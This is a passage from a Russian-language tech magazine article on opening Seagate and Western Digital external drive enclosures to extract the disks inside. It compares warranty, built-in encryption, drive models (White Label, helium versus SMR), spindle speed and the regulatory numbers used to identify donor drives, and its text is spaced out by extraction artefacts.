ско рость  переда чи  дан ных.  Я  прив  ел  сравн  ительн  ые  граф  ики  ско рос тей
одно го и того же диск  а на 10 Тб в корп  усе от Seagate и пос ле извле чения —
в дру гом внешн  ем корп  усе. Раз ница налицо.

На конец,  в  про шив ках  USB‐конт  рол леров  Seagate  моделей  Backup  Plus
есть ошиб ки, прив  одящ  ие к тому, что в Linux отклю чают ся некотор  ые фун кции
(в  част  ност  и,  функ  цио  нал  UAS  —  USB  Attached  SCSI),  что  еще  силь нее  сни‐ 
жает про изво дительн  ость. Под робност  и — в этом пос те на Reddit. Даже если
ты не сидишь на Linux, ты можешь захотеть использ  овать накопит  ель в качес‐ 
тве  резер вно го  дис ка  для  NAS,  в  котором  почт  и  наверн  яка  будет  Linux.
По некото рым данн  ым, в модели Seagate Backup Plus Hub опис  ан ные ошибк  и
ис правл  ены, но в ядре Linux работа UAS по‐прежн  ему на всяк  ий случ  ай бло‐ 
кируе  тся.

Почему этого делать не стоит
О чем сле дует подумать перед тем, как братьс  я за отверт  ку?

Ра зобр  ав  диск,  ты  авто матич  еск  и  лиша ешь ся  гарант  ии.  И  если  диск  и  WD
Elements  Desktop  или  WD  My  Book  мож но  разоб рать  и  соб рать  обратно
без пов режден  ий (WD дост  аточн  о либеральн  о относ  ит ся к таким сцен  ари ям,
не  отка зывая,  как  прав  ило,  в  гаран тийн  ом  обслуж  ива нии),  то  кор пуса  Sea‐
gate — решитель но однор  азов  ые: в проц  есс  е раз борки плас тиковые защел ки
обыч но  ломаю  тся.  Вероя  тнее  всег  о,  корп  уса  были  соз натель но  спрое  кти‐ 
рова ны таким образ  ом. В случ  ае возн  икно вения гаран тий ной ситу ации вста‐ 
вить диск обратно и сдел  ать вид, что «ничего не было», у тебя, ско рее все го,
не  получит ся.  Никаких  друг  их  аргум  ент  ов  прот  ив  раз борки  внеш них  накопи‐ 
телей Seagate у меня нет.

Как разобрать
В  сети  более  чем  дост  аточн  о  инс трук ций,  демонст  рир  ующих  проц  есс  раз‐ 
борки и извлеч  ения дис ков из внеш них накопи телей. Вот инс трукц  ия для Sea‐
gate Expansion Desktop.

А вот — для Seagate Backup Plus Hub.

При  желании  ты  лег ко  найд  ешь  десяток‐друг  ой  аль тер нативн  ых  инст  рук ций,
в том чис ле от русс  ко языч ных польз  овател  ей. Я нашел полез ной инст  рук цию
от юзер  а iFixIt и инст  рукц  ию с сай та mattgadient.com.

ВНЕШНИЕ ДИСКИ WESTERN DIGITAL
Комп  ания Western Digital пред лагае  т нес кольк  о лине ек внешн  их накопит  елей
в  форм‐фак торе  3,5  дюйм  а.  Сюда  вход  ят  модели  WD  Elements  Desktop,  WD
My  Book,  WD  My  Book  DUO  и  WD_BLACK  D10.  Пожалуй,  сто ит  разл  ожить  их
по полоч кам, но для начала при веду крат кую выжимк  у.

WD Elements Desktop
• Гар  ант  ия: 2 года
• Га рант  ия расп  ростран  яет ся: на весь накопи тель в сбор  е
• Что внут ри: в основном диск  и White Label (EMAZ)
• Встро енное шифр  ование: нет
• Дост  уп к уже записанн  ым дан ным пос ле извле чения из кор пуса: да
• Сложн  ость вскры тия корп  уса: сред няя
• Це на  в  расч  ете  на  терабайт  емкости:  самая  низ кая  сред  и  проч  их  вари‐ 

антов
• Осо бен ности: возм  ожны проб лемы с сиг нальн  ым конн  екто ром на 3,3 В

WD My Book
• Га ран тия: 3 года
• Га ран тия расп  ростра няет ся: на весь накопи тель в сбор  е
• Что внут ри: в основном диск  и White Label (EZAZ)
• Встро енное шифр  ование: да, на уров не дис ка (SED)
• Дос туп  к  уже  записан ным  данн  ым  пос ле  извлеч  ения  из  кор пуса:  да,  если

пароль не уста нов лен; нет, если пароль уста новл  ен
• Сложн  ость вскрыт  ия корп  уса: средн  яя
• Цен  а в рас чете на терабайт емкости: чуть выше Elements, но ниже WD My

Book Duo
• Осо бен ности: возм  ожны проб лемы с сигн  аль ным конн  екто ром на 3,3 В

WD My Book Duo
• Гар  ан тия: 3 года
• Гар  ант  ия расп  ростра няет ся: на кажд  ый диск по отдельн  ос ти, нет отли чий

от гаран тии на диск  и WD Red, при обрет  аемые отдельн  о
• Что  внут ри:  два  диск  а  WD  Red.  Обрат  и  вни мание:  в  накопи теле  WD  My

Book Duo 12TB будет уста новл  ено два диск  а по 6 Тб.
• Встро енное  шифр  ование:  да,  на  уров не  конт  ролл  ера  USB;  пароль  уста‐ 

нав ливае  тся тольк  о в режимах RAID 0 и 1 (но не JBOD); несм  отря на это,
сквозн  ое шиф рование записы ваемых данн  ых активно всегд  а.
• Дост  уп  к  уже  записанн  ым  дан ным  пос ле  извлеч  ения  из  корп  уса:  нет  (но
можн  о  использ  овать  дру гой  корп  ус  той  же  модели).  Пос ле  извле чения
диск  ов  из  корп  уса  My  Book  Duo  счи тать  с  них  ранее  записан ные  дан ные
нап рямую (или в корп  усе дру гой модели) не удас тся. В дру гом корп  усе WD
My Book Duo той же модели дост  уп к дан ным в штат ном режиме.
• Слож ность  вскры тия  кор пуса:  низ кая,  диск  и  легк  о  извлек  ают ся  штат ным
образ  ом.
• Цен  а в расч  ете на терабайт емкости: чуть выше WD My Book
• Осо бен ности: см. ремар ки по шифр  ованию дан ных.

WD_BLACK D10
• Гар  ант  ия: 3 года
• Га ран тия рас простра няет ся: на весь накопит  ель в сбо ре
• Что  внут ри:  нас тоящие,  не  перемар кированн  ые  дис ки  Ultrastar  DC  8Тб

(атмосферн  ый) или 12Тб (напол ненный гелие  м)
• Встро енное шифр  ование: нет
• Дост  уп к уже записанн  ым данн  ым пос ле извле чения из корп  уса: да
• Сложн  ость вскрыт  ия корп  уса: повышен ная
• Цен  а  в  рас чете  на  терабайт  емкости:  самая  высокая  сред  и  про чих  вари‐ 

антов, но нам ного ниже сто имос ти диск  ов Ultrastar DC отдельн  о
• Осо бенн  ости: дос таточ но шумн  ые дис ки. А нужн  о ли разб  ирать? Хорошие

кор пуса, высокая про изво дитель ность, активное охлажде ние.

WD Elements Desktop
WD Elements Desktop, так же извест  ная под наз вани ем WD Easystore (экск  лю‐ 
зив сети магази нов Best Buy), занимае  т в линейк  е внешн  их накопи телей WD
начальн  ый уро вень. В дост  оинс тва модели можн  о записать удачн  ую конст  рук‐ 
цию корп  уса (удачн  ую — с той точ ки зрен  ия, что с миниму мом осто рож ности
его мож но разоб рать без повр  ежден  ий) и удач ный конт  ролл  ер USB, не огра‐ 
ничив  ающий ско рость работы дис ка и не навязыв  ающий польз  овател  ю шиф‐ 
рование.  Внешн  ими  диск  ами  Elements  Desktop  можн  о  польз  оватьс  я  «как
есть»:  в  ком пании  про дела ли  хорошую  работу  по  шумо‐  и  виб роизо ляции
и  охлажде нию  дис ка,  пре дусм  отрев  вен тиляци онные  решет ки  в  верх  ней
и нижн  ей част  и накопи теля.

В  посл  едние  годы  в  модели  Elements  Desktop  устан  ав ливаю  тся  исклю‐ 
читель но дис ки WD White Label (раньш  е в них можн  о было обна ружить как WD
Blue  в  моделях  до  6  Тб,  так  и  WD  Red  в  моделях  на  8  Тб).  В  моделях  до  6  Тб
вклю читель но ты гарант  ирован но получа ешь атмосфер ный диск со ско ростью
вращ  ения  шпин деля  5400  обор  отов  в  минуту.  Так,  в  накопи теле
емкостью 4 Тб я обнар  ужил диск WD40EMRX‐82UZONO (White Label, CMR).

WD40EMRX‐82UZONO
Особн  яком сто ит модель на 6 Тб. Еще в прошл  ом году в них уста навл  ивались
модели с CMR, но в купл  енных вес ной этог  о года накопит  елях обнар  ужи лись
дис ки WD60EMAZ (White Label, черепич ная запись SMR с под дер жкой коман‐ 
ды  trim).  Такие  дис ки  мож но  исполь зовать  по  отдель нос ти,  но  в  сос тав  RAID‐
мас сива я бы вклю чать их не стал.

Нак  онец,  модели  емкостью  8  Тб  и  выше  пост  авляю  тся  с  напол ненным  и
гели ем диск  ами с CMR и ско ростью вращ  ения шпинд  еля 7200 RPM (при этом
ука зыва ется  так  называ емый  «класс  про изво дительн  ос ти»  5400  RPM  Class,
что  говорит  ско рее  о  желании  Western  Digital  сег менти ровать  про дажи,  чем
о реаль ной ско рос ти вра щения шпинд  еля). Все такие модели — аппар  ат ные
копии моделей HGST / Western Digital Ultrastar DC раз ных поколен  ий.

Дис ки WD до 6 Тб вклю читель но — холодн  ые и малошумн  ые. В целом они
не  под вержен  ы  вибр  ация  м.  А  вот  дис ки  объе  мом  8  Тб  (модели  WD80EMAZ
свеж  их  ревизий)  бес шумны  сами  по  себе,  но  могут  неп рият но  вибр  ировать.
Конт  роль качест  ва Western Digital в отно шении диск  ов, которые уста нав лива‐ 
ются  во  внешн  ие  накопит  ели,  оставля ет  желать  лучш  его:  мне  попадал  ись
как  экзем пля ры  с  низк  им,  прак тичес ки  незамет ным  уровн  ем  виб рации,  так
и вибр  ирую  щие доволь но силь но.

Гарантия

Об рати  вни мание:  в  отли чие  от  дис ков  Seagate,  в  которые  устан  ав лива ют
самые обычн  ые жест  кие дис ки извест  ных моделей, Western Digital в одно дис‐ 
ковых накопит  елях исполь зует модели White Label, имею  щие свои собст  вен‐ 
ные идент  ифика торы. По гаран тии такие диск  и обслуж  ива ются тольк  о в сос‐ 
таве накопит  еля. В то же врем  я двухд  исков  ые модели WD My Book DUO пос‐ 
тавля ются  с  парой  дис ков  WD  Red,  на  которые  дей ствуе  т  трех летняя  гаран‐ 
тия,  расп  ростра няющаяся  как  на  корп  ус,  так  и  на  каж дый  из  двух  дис ков
по отдель нос ти.

Еще  совс  ем  недавн  о  на  этом  можн  о  было  бы  и  закон чить,  но  Western  Digital
про дол жает удивл  ять поль зовате лей. Так, один из поль зовател  ей Reddit, рас‐ 
счи тыва ющий получить пров  ерен ную врем  енем напол ненную гелие  м модель
WD80EMAZ, получил все тот же диск WD80EMAZ, но — атмосферн  ый.

Как  оказ  алось,  данн  ая  модель  —  предс  тав  итель  нового  поколен  ия  дис ков,
осно ван ного на плат форме Ultrastar DC HC320.

Мак сималь ный на сегодн  я объе  м WD Elements Desktop — 14 Тб. Внут ри — та‐ 
кой диск. Фак тическ  и в накопит  еле устан  ов лен перемарк  ирован ный WD Ultra‐
star  DC  HC530  7200‐RPM  SATA  прои  зводс тва  HGST.  Надп  ись  FCC  Regulatory
Approval Number US7SAP140 на эти кет ке позв  оляе  т однознач но иден тифици‐ 
ровать дан ную модель как HGST Ultrastar DC HC530.

Как разобрать
Вскрыть корп  ус WD Elements относ  итель но нес ложно. Для этог  о нуж но отжать
плас тиковые  защел ки,  расп  оложенн  ые  в  верх  ней  и  нижн  ей  час тях  кор пуса,
посл  е  чего  акку рат но  сдви нуть  защит ный  кожух.  При  минимальн  ой  остор  ож‐ 
ности это мож но про делать без повр  ежден  ий. Инст  рук ция — на видео.

WD My Book
Нак  опит  ели  WD  My  Book  занима ют  сле дующую  сту пень  в  иерар хии  внеш них
диск  ов Western Digital. От моделей Elements Desktop они отли чают ся фор мой
корп  уса, отсутст  ви ем све тодио  дног  о индик  атор  а и прис  утс твие  м встро енно‐ 
го (по всей веро ятности — в сам диск) шифр  ования AES‐256.

Согл  асно  информа ции  WD  External  Drive  Hardware  Encryption  Compatibility
Matrix,  данн  ые  с  дис ков,  извле чен ных  из  WD  My  Book,  мож но  счит  ать  и  без
кор пуса  (при  усло вии,  что  пароль  не  устан  овл  ен).  А  это  заст  авляе  т  пред‐ 
положить,  что  шиф рование  здесь  реализ  ова но  не  средст  вам  и  конт  рол лера
USB, как это сде лано в двухд  исков  ых моделях, а на уровн  е самого накопит  еля
поср  едст  вом механиз ма SED.

Есть ли разн  ица в про изво дитель нос ти меж ду дис ками моделей EMAZ (WD
Elements Desktop) и EZAZ (WD My Book)? Польз  овател  и утверж  даю  т, что раз‐ 
ница если и есть, то мин  имальн  ая.

Ис точник: Reddit

В остальн  ом отлич  ий от моделей Elements мало. Дру гая форм  а корп  уса, нес‐ 
коль ко  иной  (некото рые  утвер ждаю  т,  что  даже  более  прост  ой)  спос  об  раз‐ 
борки,  трехл  етняя  гаран тия,  отсутс твие  свет  оди одно го  индик  атор  а  и  встро‐ 
енное  шифр  ование  (веро ятно,  SED)  —  вот  и  вся  раз ница.  Внут ри  My  Book
уста нав ливаю  тся уже при выч ные дис ки White Label, являю  щиеся аппар  ат ными
копия  ми соот ветст  ву ющих моделей WD Blue либо Ultrastar DC.

Как разобрать
Вскрыть  кор пус  WD  My  Book  доволь но  прост  о.  Для  это го  дос таточ но  отжать
пласт  иковые  защел ки,  рас положен ные  в  ниж ней  част  и  накопит  еля.  Мно гие
видео  инст  рук ции  предл  ага ют  отжать  защел ки  и  в  вер хней  част  и  корп  уса,
одна ко в этом нет необх  одимос ти. Обрат  и вним  ание: посл  е того, как защел ки
будут  отжат  ы,  внут ренняя  часть  накопи теля  может  неожид  ан но  выск  оль знуть
из кор пуса, так что сто ит заранее подс  те лить на стол что‐нибудь мяг кое. Вот
инст  рук ция.

WD My Book Duo
Двухд  иско вые модели WD My Book Duo инте рес ны тем, что позв  оляю  т штат‐ 
ным образ  ом извле кать и заменять диск  и, в роли которых выст  упаю  т хорошо
извес тные  модели  WD  Red.  Гаран тийн  ые  обя затель ства  Western  Digital  рас‐ 
простра няют ся  как  на  устройс  тво  в  сбо ре,  так  и  на  кажд  ый  из  диск  ов
по  отдель нос ти  (обрат  и  вни мание:  политик  а  магази на  может  отли чатьс  я,
поэто му  луч ше  сра зу  пос ле  покуп ки  зарегис три ровать  устройс  тво  на  сай те
WD и про верить пра вильн  ость оформ  лен  ия гаран тийн  ых обяз  ательс  тв).

Двух диско вые  модели  WD  My  Book  Duo  час то  предл  агаю  тся  по  цене,
которая ниже сто имост  и двух дис ков WD Red по отдельн  ос ти. С уче том трех‐ 
летней  гаран тии,  позв  оля ющей  заменить  любой  из  двух  диск  ов,  покуп ка  My
Book Duo — самый безопасн  ый спо соб получить пару накопи телей WD Red.

Ес ли  же  ты  пла нируе  шь  использ  овать  диск  и  в  сос таве  кор пуса,  имей
в  виду:  в  конт  рол лере  USB  исполь зует ся  неот ключ  аемое  шиф рование  дан‐ 
ных. Даже если ты не уста новишь пароль, все записанн  ые на устрой ство дан‐ 
ные  будут  зашифр  ованы  и  счи тать  их  удаст  ся  толь ко  в  анал  огич ном  кор пусе
(кста ти, изнач  аль ная емкость устройс  тва знач  ения не имее  т: к прим  еру, кор‐ 
пуса от WD My Book Duo 12TB прек расно работаю  т с дис ками, извлеч  енн  ыми
из WD My Book Duo 16TB, и наобор  от). Впроч  ем, если ты собирае  шьс  я уста‐ 
новить диск в NAS, то данн  ые с него так или инач  е будут потерян  ы в проц  есс  е
ини циали зации масс  ива.

→Продолжение статьи

ТРЮКИ ←  НАЧАЛО СТАТЬИ

ГОЛЫЕ ДИСКИ
СМОТРИМ, ЧТО ВНУТРИ
У ВНЕШНИХ НАКОПИТЕЛЕЙ WD И SEAGATE

WD_BLACK D10
На копи тели  линей ки  WD_BLACK  D10  вызываю  т  у  меня  смеш  анн  ые  чувст  ва.
С  одной  сто роны,  они  фун кцио  нальн  ы,  использ  уют  активное  охлажде ние
(небольш  ой  и  тихий  вент  илятор),  наконец  —  прос то  кра сивы;  раз бирать  их
жал ко.  С  дру гой  —  внут ри  устан  ов лены  диск  и  Ultrastar  DC  HC320,  отли‐ 
чающиеся  высокой  скор  остью  и  надежн  остью  (но  и  сравн  итель но  высоким
уровн  ем  шума).  С  третье  й,  модель  на  8  Тб  —  атмосфер ная,  то  есть  срав‐ 
нительн  о  шум ная  и  горячая;  напол ненные  гелие  м  ана логи  из  WD  Elements
и My Book выг лядят инте рес нее, а сто ят — дешев ле.

Ка ких‐то  спе цифи ческ  их  осо бенн  остей  у  данн  ых  накопи телях  нет,  разв  е
что можн  о пожало ватьс  я на давн  о устар  евш  ий разъе  м USB 3.0 micro‐B вмес‐ 
то симм  етричн  ого Type‐C, который выгл  ядит более логич ным для накопи теля
такого клас са. Шифр  ование отсутс тву ет.

Как разобрать
Про цесс  разб  орки  слож нее,  чем  кажет ся:  помимо  вин тов  вер хнюю  крыш ку
удерж  иваю  т и пласт  иковые защел ки, отжать которые, не повр  едив, будет чуть
сложн  ее, чем в ранее рас смот ренных моделях.

На копи тели  дос таточн  о  новые,  инс трук ций  по  разб  орке  пока  нем ного.
Самая, пожалуй, вме няемая на сегодн  яшний день инс трук ция — на немец ком
язык  е.

ГЕЛИЙ ИЛИ «ЧЕРЕПИЦА»?
Те перь  мы  имее  м  предс  тавл  ение,  какие  именн  о  дис ки  уста навл  иваю  т  про‐ 
изво дител  и  во  внеш ние  накопит  ели.  Единс твен ные  модели,  которые
не вызыва ют вопр  осов — это атмосфер ные дис ки с числ  ом обор  отов шпин‐ 
деля 5400 RPM и методом записи CMR. Однак  о имен но такие диск  и Seagate
не  устан  авл  ива ет  в  свои  накопи тели  совс  ем,  а  Western  Digital  пост  епенн  о
выводит  из  обращ  ения,  заменяя  млад шие  модели  диск  ами  с  черепичн  ой
записью SMR.

При  этом  обе  ком пании  устан  авл  ива ют  во  внешн  ие  накопи тели  и  дис ки,
напол ненные гели ем. У Western Digital это все модели от 10 Тб и выше, а так‐ 
же  (на  сегодн  яшний  день)  подавл  яющее  больш  инст  во  моделей
емкостью 8 Тб. У Seagate гелий начина ется от 10 Тб.

На пол нение  гели ем  дает  целый  ряд  преи  мущ  еств  (тише  работа,  ниже
энер гопот реблен  ие, мож но устан  овить боль ше плас тин и так далее), однак  о
некото рые  польз  овате ли  до  сих  пор  подозр  ева ют,  что  гелий  вот‐вот  про‐ 
сочит ся  через  метал личес кую  решет ку  и  уте чет  в  атмосфер  у.  С  уче том  того,
что  пер вые  гели евые  дис ки  появил  ись  не  так  дав но,  однознач но  опров  ер‐ 
гнуть  такие  подозр  ения  нельз  я.  Так  какое  же  зло  пред почесть  —  гелий
или «черепи цу»?

Ес ли  говорить  о  дис ках  Seagate,  то  думать  осо бо  не  о  чем:  выбор  идет
межд  у  самыми  дешевы ми  (в  плох  ом  смысл  е  слов  а)  моделям  и  ком пании
емкостью  до  8  Тб  включ  ительн  о  и  одним  и  из  самых  тех ническ  и  прод винутых
(10  Тб  и  недавн  о  предс  тавл  енные  12  и  14  Тб).  Это  соверш  енно  разн  ые
линейк  и про дук тов, меж ду которым  и — проп  асть.

В слу чае с Western Digital дела обстоя  т неск  ольк  о сложн  ее. Атмосферн  ые
дис ки WD емкостью до 6 Тб вклю читель но практ  ичес ки не слыш ны в работе,
а  их  энерг  опот реблен  ие  и,  как  следст  вие,  нагр  ев  —  рекор дно  низк  и.  Если
говорить о модели на 6 Тб, то приш  ед шая на сме ну CMR‐дис ку модель с SMR
работае  т  еще  тише,  а  гре ется  еще  мень ше.  При  этом  благ  одар  я  под дер жке
команд  ы  trim  боль шой  разн  ицы  в  ско рост  и  работы  межд  у  диск  ами  с  CMR
и  SMR  ты  не  уви дишь,  если  не  попытае  шь ся  уста новить  такой  диск  в  RAID
5 или исполь зовать с ZFS.

Диск  и  на  8  Тб  (если  тебе  попадет ся  гелий)  и  модели  на  10–14  Тб  вра‐ 
щают ся со ско ростью 7200 обо ротов в минуту. По спец  ифик  аци ям такие дис‐ 
ки  имею  т  прав  о  быть  дост  аточн  о  шумн  ыми,  но  на  практ  ике  мног  ие  поль‐ 
зовате ли стал кива ются не с шумом мотора, а с гулом, вызв  анным передач  ей
виб рации  накопи теля  на  поверх  ность,  на  которой  он  устан  ов лен.  В  слу чае
с  единст  вен ным  диск  ом  от  этог  о  гула  можн  о  попытать ся  изба витьс  я,  но  два
«гелие  вых»  дис ка,  уста нов ленных  в  обыч ный  двух диско вый  NAS,  будут  виб‐ 
рировать силь нее, чем два диск  а со ско ростью 5400 обо ротов в минуту.

КОГДА 5400 = 7200
А  почему,  собс твенн  о,  я  утвер ждаю,  что  гелие  вые  дис ки  WD  вра щают ся
со  ско ростью  7200  RPM?  Ведь  в  спе цифи каци ях  чер ным  по  белому  написа‐ 
но  5400  RPM!  Здесь  мы  набл  юда ем  забавн  ый  прим  ер  реверс‐мар кетинг  а,
когд  а  комп  ания  пытае  тся  занизить  один  из  ключ  евых  парамет ров  диск  а
для  того,  что бы  про давать  ту  же  самую  механи ку  (воз можно,  про шедш  ую
более тща тельн  ый кон троль качес тва и работа ющую под управле нием дру гой
про шивк  и или даже с дру гим кон трол лером) дороже под мар кой WD Red Pro
или Ultrastar DC.

Один  рас простра ненн  ый  миф  отно сительн  о  моделей  WD  с  гели евым
напол нени ем  осно выва ется  на  мар кировк  е  диск  ов  и  информац  ии,  которую
выда ет S.M.A.R.T. Мно гие польз  овател  и счит  ают, что модели диск  ов WD White
Label  —  это  перемарк  ирован ные  диск  и  HGST,  ско рость  вращ  ения  шпинд  еля
которых сни жена с 7200 до 5400 обо ротов в минуту. Чес тно говоря, мне труд‐ 
но  пред положить,  что  мож но  прос то  так  взять  и  сниз  ить  ско рость  вра щения
шпинд  еля  диск  а  без  кард  иналь ной  перераб  от ки  его  комп  онен тов;  более
того, я пока не встре чал вжив  ую ни одно го наполн  енно го гелие  м дис ка с нас‐ 
толь ко  низ кой  ско ростью.  Но  S.M.A.R.T.  утвер ждае  т  друг  ое.  Пос мотрим
на  скрин шот,  опис  ыва ющий  характ  ерист  ики  модели  WD  Red,  уста новл  енной
в накопит  еле WD My Book Duo.

Ка залось бы, все очев  ид но: ско рость вра щения шпинд  еля — 5400 обор  отов
в минуту. О чем тут думать? Если не веришь, можн  о пой ти на сайт WD и пос‐ 
мотреть характ  ерис тики.

Черн  ым  по  белому,  «ско рость  вра щения  —  5400  обо ротов  в  минуту».
Для самых недовер чивых есть офи циальн  ые спец  ифи кации.

Ведь  5400  же?  Почт  и.  Сле ди  за  руками.  В  офиц  иаль ных  спе цифик  ация  х  нет
ни  сло ва  о  ско рост  и  вра щения  шпинд  еля.  Есть  понятие  «класс  прои  зво‐ 
дитель ност  и», который заяв лен как «5400 RPM Class». Так вот: абсо лют но все
жест  кие  дис ки,  напол ненные  гели ем  (а  это  —  больш  инс тво  дост  упных
моделей  емкостью  8  Тб  и  выше)  вра щают ся  со  ско ростью  7200  обор  отов
в  минуту.  Обо ротов  —  7200,  а  класс  прои  звод  итель нос ти  —  5400  RPM.
Не перепу тай.

По чему же WD занижае  т харак терис тики, ука зывая 5400 RPM Class в спе‐ 
цифик  ация  х и лжет в лицо на стра нице про дукт  а, заявив циф ру 5400 в качес‐ 
тве  ско рос ти  вра щения  шпинд  еля?  Эта  маленьк  ая  марк  етин говая  ложь  поз‐ 
воля ет про изво дите лю сегм  ентир  овать рынок, нап равляя желаю  щих получить
более  высокую  про изво дительн  ость  покупат  елей  в  сто рону  дорогих  линее  к
WD  Red  Pro  или  еще  более  дорогих  сер верных  дис ков  HGST.  На  самом  же
деле класс про изво дительн  ос ти 5400 RPM Class вклю чает как модели со ско‐ 
ростью  вра щения  шпин деля  5400  обо ротов  в  минуту  (все  «возд  ушные»
модели  до  6  Тб  вклю чительн  о  и  редк  ие  «воз душные»  модели  на  8  Тб),  так
и 7200 RPM (все модели от 8 Тб и выше, напол ненные гелие  м).

Ло гичн  ый  воп рос:  почему  ты  дол жен  поверить  мне,  а  не  колл  ективн  ому
бесс  озна тельн  ому,  пост  ингам  Reddit,  информац  ии  из  S.M.A.R.T.  и  дан ным,
опуб ликован ным на стран  ице прод  ук та? Верить на сло во соверш  енно не обя‐ 
затель но, ты можешь легк  о и прост  о изме рить скор  ость вра щения шпин деля
самос тоятельн  о. Для это го дост  аточн  о любого телефо на с Android и бесп  лат‐ 
ной прогр  аммы Spectroid.

Из мерение  про вес ти  дост  аточн  о  прост  о.  Запуст  и  при ложен  ие  и  подн  еси
телефон  к  запущенн  ому  накопи телю.  Прил  оже ние  проа  нал  изи рует  зву ковой
спектр и выдаст информа цию о том, на какой част  оте или част  отах зарегис‐ 
трир  ован пик.

Как  видим,  у  модели  WD  Red  8TB  пик  зарегис трир  ован  на  час тоте  120  Гц.
Умно жаем 120 на 60 и получа ем част  оту 7200 Гц, которая сов падае  т с числ  ом
обо ротов шпинд  еля.

WWW

•До пол нитель ная  информа ция:  HDD  spin‐up  fre‐
quency plots reveal if a drive is 5400 rpm or 7200
rpm

ЗАГАДОЧНЫЕ ДИСКИ WD WHITE LABEL
В  сети  ходит  мас са  слу хов  относ  итель но  того,  чем  на  самом  деле  являю  тся
диск  и  Western  Digital  с  этик  ет ками  белого  цвет  а,  которые  уста нав ливаю  т
во  внешн  ие  накопи тели.  И  если  с  атмосфер ными  моделям  и  все  более
или менее понят но (это — аппар  ат ные кло ны моделей WD Blue соот ветст  ву‐ 
ющей емкости), то с напол ненным  и гели ем диск  ами дела обстоя  т неск  ольк  о
инач  е.  Нет  сом нений,  что  WD  повт  орно  исполь зует  одну  и  ту  же  аппа рат ную
плат форму  для  про изводс тва  дис ков  раз ных  серий  начиная  от  HGST  Ultrastar
DC,  WD  Red  Pro,  WD  Red  и  WD  Purple  до  «белых»  диск  ов,  которые  устан  ав‐ 
лива ются в пласт  иковые кор пуса. Несм  отря на исполь зование одной и той же
плат формы, уро вень шума и про изво дительн  ость моделей Ultrastar DC и WD
Red  Pro  выше,  чем  у  моделей  WD  Red  и  «белых»  диск  ов  (которые  меж ду
собой практ  ическ  и не отли чают ся). С чем это может быть связ  ано?

Здесь  мы  сту паем  на  тонк  ий  лед  слух  ов  и  спек  уляц  ий.  С  одной  сто роны,
пот ребительс  кие  дис ки  могут  использ  овать  ровн  о  ту  же  механи ку,  что  их
более дорогие соб ратья. Об этом говорят уни кальн  ые идент  ификат  оры Regu‐
latory  Number  (нор мативн  ые  номера),  которые  назн  ача ются  государст  вен‐ 
ными  орга нами  сер тификац  ии  про дукц  ии.  Если  у  дис ков  с  разн  ыми  эти кет‐ 
ками  (и  раз ными  идент  ифика торам  и  моделей)  совп  адаю  т  нор мативн  ые
номера, то на физичес ком уровн  е это одни и те же про дукт  ы. Далеко не пол‐ 
ный  спи сок  соот ветст  вия  номеров  моделей  и  Regulatory  Numbers  прив  еден
ниже (источник):
• WD80PURX = R/N US7SAJ800
• WD81PURZ = R/N US7SAN8T0
• WD80EMAZ = R/N US7SAL080
• WD80EZAZ = R/N US7SAL080
• WD80EZZX = R/N US7SAJ800
• WD80EFAX‐68KNB0  =  R/N  US7SAN8T0  (атмосфер ная  модель  на  плат‐ 

форме Ultrastar DC HC320)
• WD80EFAX‐68LHPN0  =  R/N  US7SAL080  (гелие  вая  модель  на  плат форме

Ultrastar DC HC510)
• WD80EFZX = R/N US7SAJ800
• WD100EMAZ = R/N US7SAL100
• WD101PURZ = R/N US7SAL100
• WD101KRYZ = R/N US7SAL100
• WD120EDAZ = R/N US7SAM120
• WD120EFAX = R/N US7SAM120
• WD120EFMZ = R/N US7ASP140
• WD120EMAZ = R/N US7SAM120
• WD121KRYZ = R/N US7SAM120
• WD121PURZ = R/N US7SAM120

По  соот ветст  ву ющем  у  норм  атив ному  номеру  лег ко  опред  елить
модель‐донора.  К  прим  еру,  популяр ная  сов ременн  ая  модель  WD80EZAZ
из  кор пуса  WD  My  Book  с  нор мативн  ым  номером  US7SAL080  пос тро ена
на  плат форме  Ultrastar  He10‐8  SATA,  которая  была  впос ледс твии  пере име‐ 
нован  а  в  Ultrastar  DC  HC310.  А  вот  более  стар  ая  модель  WD80EZZX  имее  т
норм  атив ный номер US7SAJ800, что идент  ифици рует плат форму как Ultrastar
He8‐8 SATA — не самый интер  ес ный вариа  нт.

Об рати вни мание на строк  у WD120EFMZ = R/N US7ASP140. На рын ке при‐ 
сутс твуе  т нес кольк  о моделей внеш них диск  ов WD объ емом 12 Тб. Интер  ес но
то,  что  в  некото рых  из  них  ис польз  уют ся  те  же  диск  и,  которые  идут  в  14‐
терабай тные  модели  —  с  огра ниче нием  на  уров не  прош  ивк  и.  Вероя  тно,  эти
дис ки  не  прош ли  отбор  на  повышен ную  емкость  и  были  исполь зованы  ком‐ 
пание  й таким вот обра зом.

По чему же все‐таки так сильн  о отлич  ают ся про извод  ительн  ость и уро вень
шума? Здесь мож но строи  ть лишь теории. Одна из них — отбор в про цесс  е
тех ничес кого кон тро ля. Сог ласно этой теории, хорошие дис ки получа ют лей‐ 
бл  Ultrastar;  те,  что  похуже,  идут  на  бюдж  етные  линей ки  WD  Red,  а  те,  что
еще нем ного похуже — во внеш ние корп  уса. Пробл  ема с этой теорией в том,
что  про дажи  внеш них  накопит  елей  прев  ышаю  т  прод  ажи  всех  осталь ных
катего рий дис ков в разы, если не на порядок. У WD наст  ольк  о огромный про‐ 
цент брак  а? Чрезв  ычай но сом нительн  о.

Друг  ая  теория:  WD  устан  авл  ивае  т  во  внешн  ие  корп  уса  восс  тан  ов ленные
дис ки.  Но  опять  же  —  отку да  у  ком пании  такое  количест  во  вос стан  ов ленных
диск  ов, особ  ен но с учет  ом низк  ой ремонт  оприг  одн  ости напол ненных гелие  м
моделей?

Лич но  мне  более  убе дитель ной  кажет ся  теория,  в  которой  прис  утс твуе  т
отбор в про цес се тех ническ  ого кон тро ля, а более тихими (и более мед ленны‐ 
ми)  диск  и  ста новят ся  из‐за  наст  ро ек  в  прош  ивк  е,  анал  огич ным  ушед шей
в прошл  ое сист  еме AAM (Automatic Acoustic Management) образ  ом.

Загадочный WD80EFAX

В  таб лице  выше  ты  мог  заметить  два  раз ных  дис ка  с  оди наков  ой  пер вой
частью  иден тификат  ора  модели:  WD80EFAX‐68KNB0  и  WD80EFAX‐68LHPN0.
Это два вариа  нта дис ка WD Red 8TB. Покупая диск этой модели (а так же диск
в  кор пусе,  нап ример,  WD80EMAZ),  ты  можешь  получить  как  модель,  напол‐ 
ненную  гели ем  (7  плас тин)  и  основ  анн  ую  на  плат форме  Ultrastar  DC  HC510
(бывш  ая  He10),  так  и  атмосферн  ый  диск  с  пятью  «блин  ами»,  осно ванн  ый
